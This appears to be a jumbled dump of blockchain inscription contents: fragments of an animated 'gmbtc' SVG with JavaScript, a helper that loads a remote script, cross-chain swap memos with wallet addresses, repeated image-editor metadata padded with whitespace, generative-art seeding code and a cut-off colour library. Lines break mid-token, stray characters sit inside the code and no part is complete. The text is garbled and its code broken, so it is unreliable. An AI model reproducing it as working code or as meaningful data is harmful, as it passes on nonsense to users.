itcoin ordinals fam! sending good vibes via the first dynamic ordinals @gmbtcio')}&hashtags=gmbtc`, '_blank'))
      var moon = document.querySelector('.moon')
      moon.setAttribute('fill-opacity', 1)
      moon.classList.add('moongn')
      var str = document.querySelector('.str')
      str.setAttribute('fill-opacity', 1)
      str.classList.add('stgn')
      var fd = document.querySelector('.f');
      fd.classList.add('m0GN')
      var bd = document.querySelector('.b');
lassList.add('bgGN')
      document.querySelector('.m1').setAttribute('fill', '#C9D6FA')
      document.querySelector('.m2').setAttribute('fill', '#8DA3D9')
      document.querySelector('.m3').setAttribute('fill', '#C9D6FA')
      document.querySelector('.m4').setAttribute('fill', '#F8FAFB')
      sn.classList.add('sngn')
    .cl { cursor: pointer; }
    path, circle {transition: 5s ease;}
    stop {transition: 4s ease;}
    .bgGN stop:nth-child(1) {stop-color: M
    .bgGN stop:nth-child(2) {stop-color: #BD9FFF;}
    .m0GN stop:nth-child(1) {stop-color: #A3B3E0;}
    .m0GN stop:nth-child(2) {stop-color: #5E7BA9;}
    @keyframes hideGMBTC { from {opacity: 1;} to { opacity: 0;} }
    @keyframes sngm {from {opacity: 0;transform: translateY(180px);}to {opacity: 1;transform: translateY(0);}}
    @keyframes sngn {from { opacity: 1;transform: translateY(180px);}to {transform: translateY(-180px);opacity: 0;}}
    .sngm { animation: sngm 1s linear forwards; }
ngn { animation: sngn 1s linear forwards; }
    .moongn { animation: sngm 1s linear forwards; animation-delay: 0.5s;}
    .stgn { animation: sngm 1s linear forwards; animation-delay: 1s;}
    .hideGMBTC { animation: hideGMBTC 0.4s linear forwards;}
    .str, .moon { transform: translateY(180px); }
    <path fill="#FDEEEE" d="M0 0h600v600H0z"/>
    <path fill="#000" d="M32.508 575.5c-2.7 0-4.767-.767-6.2-2.3-1.433-1.533-2.15-3.7-2.15-6.5v-18.4c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-2.M
3 6.2-2.3s4.767.767 6.2 2.3c1.433 1.533 2.15 3.7 2.15 6.5v18.4c0 2.8-.717 4.967-2.15 6.5-1.433 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 2.85-1.15 2.85-3.45v-19.1c0-2.3-.95-3.45-2.85-3.45-1.9 0-2.85 1.15-2.85 3.45v19.1c0 2.3.95 3.45 2.85 3.45Zm20.02 5c-2.7 0-4.767-.767-6.2-2.3-1.434-1.533-2.15-3.7-2.15-6.5v-18.4c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-2.3 6.2-2.3s4.766.767 6.2 2.3c1.433 1.533 2.15 3.7 2.15 6.5v18.4c0 2.8-.717 4.967-2.15 6.5-1.434 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 2.85-1.15 2.85-3.45v-19.1c0-2.3-.95-3.45-2.8M
5-3.45-1.9 0-2.85 1.15-2.85 3.45v19.1c0 2.3.95 3.45 2.85 3.45Zm19.869 5c-2.7 0-4.75-.75-6.15-2.25-1.367-1.5-2.05-3.65-2.05-6.45v-2.85h5.2v3.1c0 2.3.95 3.45 2.85 3.45.933 0 1.633-.283 2.1-.85.5-.6.75-1.633.75-3.1v-2.85c0-1.6-.283-2.733-.85-3.4-.567-.7-1.484-1.05-2.75-1.05h-1.85v-5h2c1.1 0 1.916-.283 2.45-.85.567-.567.85-1.517.85-2.85V548c0-1.2-.25-2.083-.75-2.65-.5-.567-1.167-.85-2-.85-1.767 0-2.65 1.083-2.65 3.25v2.3h-5.2v-1.85c0-2.8.683-4.95 2.05-6.45 1.4-1.5 3.4-2.25 6-2.25 2.633 0 4.633.75 6 2.25 1.366 1.467 2.0M
5 3.6 2.05 6.4v1.25c0 1.9-.317 3.433-.95 4.6-.633 1.133-1.617 1.95-2.95 2.45v.1c1.433.533 2.466 1.4 3.1 2.6.633 1.2.95 2.733.95 4.6v3.1c0 2.8-.7 4.95-2.1 6.45-1.367 1.467-3.4 2.2-6.1 2.2Zm24.42-35.5h4.749l-13.8 35h-4.75l13.8-35Z" class="003/"/>
    <path fill="#000" d="M110.045 545.446h-3.565v-2.418c.971 0 1.746-.083 2.325-.248.599-.165 1.075-.434 1.426-.806.351-.393.661-.951.93-1.674h2.294V562h-3.41v-16.554Zm12.567 16.864c-1.674 0-2.955-.475-3.844-1.426-.889-.951-1.333-2.294-1.333-4.03v-11.408c0-1.736.444-3.079 1.M
333-4.03.889-.951 2.17-1.426 3.844-1.426s2.955.475 3.844 1.426c.889.951 1.333 2.294 1.333 4.03v11.408c0 1.736-.444 3.079-1.333 4.03-.889.951-2.17 1.426-3.844 1.426Zm0-3.1c1.178 0 1.767-.713 1.767-2.139v-11.842c0-1.426-.589-2.139-1.767-2.139s-1.767.713-1.767 2.139v11.842c0 1.426.589 2.139 1.767 2.139Zm12.412 3.1c-1.674 0-2.955-.475-3.844-1.426-.888-.951-1.333-2.294-1.333-4.03v-11.408c0-1.736.445-3.079 1.333-4.03.889-.951 2.17-1.426 3.844-1.426s2.956.475 3.844 1.426c.889.951 1.333 2.294 1.333 4.03v11.408c0 1.736-.444M
 3.079-1.333 4.03-.888.951-2.17 1.426-3.844 1.426Zm0-3.1c1.178 0 1.767-.713 1.767-2.139v-11.842c0-1.426-.589-2.139-1.767-2.139s-1.767.713-1.767 2.139v11.842c0 1.426.589 2.139 1.767 2.139Z" class="100"/>
    <g class="gmbtcio">
      <path fill="#000" d="M107.915 578.15c-.76 0-1.425-.14-1.995-.42a3.458 3.458 0 0 1-1.38-1.155l1.08-1.08c.29.36.62.63.99.81.37.18.815.27 1.335.27.65 0 1.165-.17 1.545-.51.38-.33.57-.785.57-1.365v-1.77l.285-1.59-.285-1.605V567.8h1.65v6.9c0 .69-.16 1.29-.48 1.8-.32.52-.765.925-1.335 1.215-.M
57.29-1.23.435-1.98.435Zm-.075-3.3c-.64 0-1.22-.155-1.74-.465a3.472 3.472 0 0 1-1.215-1.305 3.894 3.894 0 0 1-.435-1.845c0-.68.145-1.29.435-1.83.3-.54.705-.965 1.215-1.275.52-.32 1.1-.48 1.74-.48.57 0 1.07.115 1.5.345.43.23.765.55 1.005.96.24.4.36.87.36 1.41v1.77c0 .53-.125 1-.375 1.41-.24.41-.575.73-1.005.96-.43.23-.925.345-1.485.345Zm.33-1.56c.4 0 .75-.085 1.05-.255.3-.17.53-.405.69-.705.17-.31.255-.67.255-1.08 0-.41-.085-.765-.255-1.065-.16-.31-.39-.55-.69-.72-.3-.17-.65-.255-1.05-.255s-.755.085-1.065.255c-.3.17M
-.535.41-.705.72-.17.3-.255.655-.255 1.065 0 .4.085.755.255 1.065.17.31.405.55.705.72.31.17.665.255 1.065.255Zm5.373 1.71v-7.2h1.65v7.2h-1.65Zm4.785 0v-4.29c0-.48-.15-.85-.45-1.11-.3-.27-.67-.405-1.11-.405-.3 0-.57.06-.81.18-.23.12-.415.295-.555.525-.14.22-.21.49-.21.81l-.645-.36c0-.55.12-1.025.36-1.425.24-.4.565-.71.975-.93.41-.23.87-.345 1.38-.345.51 0 .97.11 1.38.33.41.22.735.53.975.93s.36.88.36 1.44V575h-1.65Zm4.785 0v-4.29c0-.48-.15-.85-.45-1.11-.3-.27-.67-.405-1.11-.405-.29 0-.555.06-.795.18s-.43.295-.57.525cM
-.14.22-.21.49-.21.81l-.93-.36c.05-.55.21-1.025.48-1.425a2.8 2.8 0 0 1 1.035-.93c.43-.23.9-.345 1.41-.345.52 0 .99.11 1.41.33.42.22.755.53 1.005.93.25.4.375.88.375 1.44V575h-1.65Z"/>
      <path fill="#FF7F7C" d="M130.318 575.15c-.55 0-1.04-.115-1.47-.345a2.73 2.73 0 0 1-1.02-.975 2.71 2.71 0 0 1-.36-1.395v-2.07c0-.52.125-.985.375-1.395.25-.41.59-.73 1.02-.96.43-.24.915-.36 1.455-.36.65 0 1.235.17 1.755.51.53.33.945.78 1.245 1.35.31.56.465 1.195.465 1.905 0 .7-.155 1.335-.465 1.905-.3.56-.715 1.005-1.245 1.335-.52.M
33-1.105.495-1.755.495Zm-.27-1.56c.4 0 .75-.09 1.05-.27.31-.19.55-.45.72-.78.18-.33.27-.71.27-1.14 0-.43-.09-.81-.27-1.14-.17-.33-.41-.585-.72-.765a1.92 1.92 0 0 0-1.05-.285c-.4 0-.755.095-1.065.285-.31.18-.55.435-.72.765-.17.33-.255.71-.255 1.14 0 .43.085.81.255 1.14.17.33.41.59.72.78.31.18.665.27 1.065.27Zm-3.585 1.41v-10.8h1.65v5.37l-.285 1.74.285 1.755V575h-1.65Zm9.591 0v-10.2h1.65V575h-1.65Zm-1.725-5.7v-1.5h5.1v1.5h-5.1Zm9.409 5.85c-.71 0-1.355-.165-1.935-.495-.57-.33-1.02-.78-1.35-1.35a3.733 3.733 0 0 1-.495-M
1.905c0-.71.165-1.345.495-1.905.33-.57.78-1.02 1.35-1.35a3.844 3.844 0 0 1 1.935-.495c.56 0 1.08.11 1.56.33.49.21.905.515 1.245.915l-1.08 1.095a1.913 1.913 0 0 0-.765-.555 2.32 2.32 0 0 0-.96-.195c-.41 0-.775.095-1.095.285-.31.18-.555.43-.735.75-.17.32-.255.695-.255 1.125 0 .42.085.795.255 1.125.18.32.425.575.735.765.32.18.685.27 1.095.27.35 0 .67-.06.96-.18.3-.13.555-.32.765-.57l1.08 1.095c-.34.4-.755.71-1.245.93-.48.21-1 .315-1.56.315Zm5.254 0c-.32 0-.585-.105-.795-.315-.2-.22-.3-.485-.3-.795 0-.32.1-.585.3-.795.M
21-.21.475-.315.795-.315.32 0 .58.105.78.315.21.21.315.475.315.795 0 .31-.105.575-.315.795-.2.21-.46.315-.78.315Zm3.106-.15v-7.2h1.65v7.2h-1.65Zm.825-8.52a.958.958 0 0 1-.705-.285.986.986 0 0 1-.27-.705c0-.28.09-.515.27-.705a.958.958 0 0 1 .705-.285c.29 0 .525.095.705.285.18.19.27.425.27.705 0 .28-.09.515-.27.705a.927.927 0 0 1-.705.285Zm5.976 8.67c-.7 0-1.335-.165-1.905-.495a3.88 3.88 0 0 1-1.365-1.365 3.733 3.733 0 0 1-.495-1.905c0-.7.165-1.33.495-1.89.34-.56.795-1.005 1.365-1.335.57-.34 1.205-.51 1.905-.51.71 0 M
1.35.165 1.92.495.57.33 1.02.78 1.35 1.35.34.56.51 1.19.51 1.89s-.17 1.335-.51 1.905c-.33.57-.78 1.025-1.35 1.365-.57.33-1.21.495-1.92.495Zm0-1.59c.41 0 .77-.09 1.08-.27.32-.19.565-.45.735-.78.18-.33.27-.705.27-1.125 0-.42-.09-.79-.27-1.11-.18-.32-.425-.57-.735-.75-.31-.19-.67-.285-1.08-.285-.4 0-.76.095-1.08.285-.31.18-.555.43-.735.75-.17.32-.255.69-.255 1.11 0 .42.085.795.255 1.125.18.33.425.59.735.78.32.18.68.27 1.08.27Z"/>
    <circle cx="300" cy="300" r="244" fill="#D9D9D9" stroke="#fff" stroke-width=M
      <mask id="a" width="468" height="468" x="66" y="66" class="a" maskUnits="userSpaceOnUse" style="mask-type:alpha">
        <circle cx="300" cy="300" r="234" fill="#FCE07D" class="cm"/>
      <g mask="url(#a)">
        <g class="ci">
          <circle cx="300" cy="300" r="234" fill="url(#b)" class="ci"/>
        <g class="str" opacity=".01">
          <path fill="#fff" fill-rule="evenodd" d="M432 179a5 5 0 1 0-.001-10.001A5 5 0 0 0 432 179Zm-250 26.M
5a2.5 2.5 0 1 1-5 0 2.5 2.5 0 0 1 5 0ZM437 244a5 5 0 1 0-.001-10.001A5 5 0 0 0 437 244Zm-280 9a5 5 0 1 0-.001-10.001A5 5 0 0 0 157 253Zm68-74a5 5 0 1 1-10.001-.001A5 5 0 0 1 225 179Zm219.5 94a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Z" class="Union" clip-rule="evenodd" opacity=".4"/>
        <g class="sn">
          <circle cx="300" cy="202" r="97" fill="url(#c)" class="Ellipse 12" opacity=".5"/>
          <circle cx="300" cy="202" r="74.336" fill="url(#d)" class="Ellipse 13" opacity=".4"/>
 cx="300.454" cy="202.453" r="55.752" fill="url(#e)" class="Ellipse 14"/>
          <path fill="#fff" d="M279.87 225.45c-2.434 0-4.6-.45-6.5-1.35-1.867-.9-3.367-2.167-4.5-3.8l2.9-2.95c.966 1.233 2.116 2.167 3.45 2.8 1.333.667 2.916 1 4.75 1 2.433 0 4.35-.65 5.75-1.95 1.433-1.267 2.15-2.983 2.15-5.15v-5.9l.8-5.35-.8-5.3v-6.25h4.5v22.8c0 2.267-.534 4.25-1.6 5.95-1.034 1.7-2.5 3.033-4.4 4-1.867.967-4.034 1.45-6.5 1.45Zm0-10.85c-2.167 0-4.117-.517-5.85-1.55-1.7-1.033-3.05-2.45-4.05-4.25-1-1.833-1.5-3.883-1.5-6.15 0-2.2M
67.5-4.283 1.5-6.05 1-1.8 2.35-3.217 4.05-4.25 1.733-1.067 3.683-1.6 5.85-1.6 1.866 0 3.516.367 4.95 1.1a8.49 8.49 0 0 1 3.4 3.1c.866 1.3 1.333 2.833 1.4 4.6v6.3c-.1 1.733-.584 3.267-1.45 4.6-.834 1.3-1.967 2.317-3.4 3.05-1.434.733-3.067 1.1-4.9 1.1Zm.9-4.25c1.466 0 2.75-.317 3.85-.95a6.425 6.425 0 0 0 2.6-2.65c.6-1.167.9-2.517.9-4.05s-.317-2.867-.95-4c-.6-1.167-1.45-2.067-2.55-2.7-1.1-.667-2.4-1-3.9-1s-2.817.333-3.95 1c-1.134.633-2.034 1.533-2.7 2.7-.634 1.133-.95 2.45-.95 3.95s.316 2.833.95 4a7.364 7.364 0 0 0 2.M
7 2.75c1.166.633 2.5.95 4 .95Zm18.205 4.65v-23.75h4.5V215h-4.5Zm16.05 0v-14.35c0-1.767-.55-3.15-1.65-4.15-1.067-1.033-2.417-1.55-4.05-1.55-1.1 0-2.084.233-2.95.7a5.618 5.618 0 0 0-2.1 1.95c-.534.833-.8 1.833-.8 3l-1.85-.9c0-1.8.383-3.367 1.15-4.7a8.3 8.3 0 0 1 3.25-3.1c1.366-.767 2.9-1.15 4.6-1.15 1.666 0 3.166.367 4.5 1.1a7.964 7.964 0 0 1 3.2 3.1c.8 1.333 1.2 2.917 1.2 4.75V215h-4.5Zm16.05 0v-14.35c0-1.767-.55-3.15-1.65-4.15-1.067-1.033-2.4-1.55-4-1.55-1.1 0-2.1.233-3 .7a5.618 5.618 0 0 0-2.1 1.95c-.534.833-.8 1.M
833-.8 3l-2.55-.9c.1-1.833.583-3.4 1.45-4.7a9.334 9.334 0 0 1 3.45-3.1c1.4-.767 2.933-1.15 4.6-1.15 1.733 0 3.283.367 4.65 1.1a8.307 8.307 0 0 1 3.25 3.1c.833 1.333 1.25 2.933 1.25 4.8V215h-4.55Z" class="gm"/>
        <g class="moon" opacity=".01">
          <circle cx="300" cy="193" r="70" fill="#fff" class="Ellipse 12" opacity=".2"/>
          <circle cx="300" cy="193" r="53" fill="#fff" class="Ellipse 13" opacity=".1"/>
          <circle cx="300.5" cy="193.5" r="40.5" fill="#fff" class="Ellipse 14" M
          <path fill="#fff" fill-rule="evenodd" d="M280.73 228.393c22.371 0 40.506-18.135 40.506-40.505 0-14.927-8.074-27.967-20.092-34.994 22.024.401 39.755 18.379 39.755 40.499 0 22.371-18.135 40.506-40.506 40.506a40.316 40.316 0 0 1-20.414-5.513c.25.005.5.007.751.007Z" class="Subtract" clip-rule="evenodd" opacity=".7"/>
        <g class="mn">
          <path fill="#F8FAFB" d="M273.5 522.5 135 652.5l66 13 99.5-34.5 55.5-46.5 61.5-96L396 403 273.5 522.5Z" class="m4"/>
ll="#FBF9F8" d="m53 427-64 105 35.5 79.5 251 18.5-69-76.5L196 440l-.5-115.5L53 427Z" class="m3"/>
          <path fill="#FED1D1" d="m151 401 44.5-76.5 63.5 72 133.5 73-23.5 125L144.5 574V469.5L151 401Z" class="m2"/>
          <path fill="#FBFAF8" d="m247 397-64 105 35.5 79.5 251 18.5-69-76.5L390 410l-34.5-128L247 397Z" class="m1"/>
          <path fill="url(#f)" d="m362.5 376-7-94 97.5 84.5 133.5 73-23.5 125L338.5 544V439.5l24-63.5Z" class="m0"/>
    <linearGradient M
id="b" x1="300" x2="300" y1="66" y2="534" class="b" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FFC9B3"/>
      <stop offset="1" stop-color="#fff"/>
    </linearGradient>
    <linearGradient id="e" x1="300.454" x2="300.454" y1="146.701" y2="258.206" class="e" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FF817E"/>
      <stop offset="1" stop-color="#D94E4B"/>
    </linearGradient>
    <linearGradient id="f" x1="462.5" x2="462.5" y1="282" y2="564.5" class="f" gradientUnits="userSpaceOnUse">
     <stop stop-color="#FEB8B4"/>
      <stop offset="1" stop-color="#C1DBF5"/>
    </linearGradient>
    <radialGradient id="c" cx="0" cy="0" r="1" class="c" gradientTransform="matrix(0 97 -97 0 300 202)" gradientUnits="userSpaceOnUse">
      <stop stop-color="#fff"/>
      <stop offset="1" stop-color="#FFC3C1"/>
    </radialGradient>
    <radialGradient id="d" cx="0" cy="0" r="1" class="d" gradientTransform="rotate(90 49 251) scale(74.3364)" gradientUnits="userSpaceOnUse">
      <stop stop-color="#fff"/>
      <sLMtop offset="1" stop-color="#FF8885"/>
    </radialGradient>
text/html;charset=utf-8
    const addDynamicStyle = async (url) => {
      return new Promise((resolve) => {
        const link = document.createElement('link');
        link.rel = 'stylesheet';
        link.href = url;
        document.head.appendChild(link);
    const addDynamicScript = async (url) => {
      return new Promise((resolve, reject) => {
        const script = document.createElement('script');
        script.src = url;
        document.head.appendChild(script);
        script.onload = () => {
          resolve();
        script.onerror = (e) => {
          reject(e);
        script.onabort = (e) => {
          reject(e);
    addDynamicScript(`https://rove.to/js/js-function.js`);
@j>=:ETH.ETH:0x8a327Ef3B39f8cb61a029E1a4b08CA87f1480941:954000::0
IjGREFUND:4AAF08FDE5ACDE12157D40C013F855B131A3633B7C337A955596758ED2775283
FjDOUT:0C40E0562D74CBA3E0E9F49B00E6D530FB8BE0B1DF128EF50BC7638CB614B9DA
DjB=:BNB.BNB:bnb1udyqg067wr27pdnteparr3cvy365hmc6aa6z5k:26273982:te:0
((((((((((((((((((((((((((((((((((((((((((((((((((
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DM
ocumentID="gimp:docid:gimp:469ada4f-b7ed-441e-b49c-ed27fc9fb645" xmpMM:InstanceID="xmp.iid:56ed469f-51b4-4c4a-a2e1-3bd483cf37d7" xmpMM:OriginalDocumentID="xmp.did:f3faaad1-cad5-4370-8aee-8558e4436278" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676407153359509" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T07:39:11+11:00" xmp:ModifyDate="2023:02:15T07:39:11+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:cM
hanged="/" stEvt:instanceID="xmp.iid:1c781501-05ed-4aa2-bf27-d80b923f8102" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T07:39:13"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                          M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        L
                                                                                                                                                                                               <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mM
m/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:98d5943f-8aa1-405a-b87c-ca2385a4ae01" xmpMM:InstanceID="xmp.iid:a0c5dfb9-d632-43f4-9d1a-8a09884582b4" xmpMM:OriginalDocumentID="xmp.did:d5e6d2e4-5ad4-4c6e-ac29-b835d663156c" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1M
676407177866000" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T07:39:36+11:00" xmp:ModifyDate="2023:02:15T07:39:36+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:59d1626e-b7e6-4baf-b143-709037529805" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T07:39:37"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                          M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                               <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sTypeM
/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:2b2ed001-e9f8-47e2-9d46-9af542bc58b2" xmpMM:InstanceID="xmp.iid:516bb6ae-47c5-4d3f-adca-7df4213c8019" xmpMM:OriginalDocumentID="xmp.did:48ed286e-5f7e-4f0e-a97b-39421548ec31" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676407289625060" GIMP:Version="2.10.32" tiff:OrienM
tation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T07:41:28+11:00" xmp:ModifyDate="2023:02:15T07:41:28+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:733250a6-ec8b-4e74-9fd6-457c6b50cd27" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T07:41:29"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                            M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                             <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpM
meta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:1e667be9-71d4-45f5-b186-a4b6758b534d" xmpMM:InstanceIM
D="xmp.iid:4ce4c628-7655-44f7-ba14-b6ba337f0d16" xmpMM:OriginalDocumentID="xmp.did:ce048c19-6252-44cf-a854-a5698c26b063" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676407310492914" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T07:41:49+11:00" xmp:ModifyDate="2023:02:15T07:41:49+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:825a80e0-e171-400d-b976-fd226a76c0ec" stEvtM
:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T07:41:50"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                          M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        L
                                                                                                               <?xpacket end="w"?>h!
urn:mpeg:mpegB:cicp:systems:auxiliary:alpha
~~~aab111KKKCCCqqqVVV
vvwHHH444ccc<<<mmmoopgggTTTyyy
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
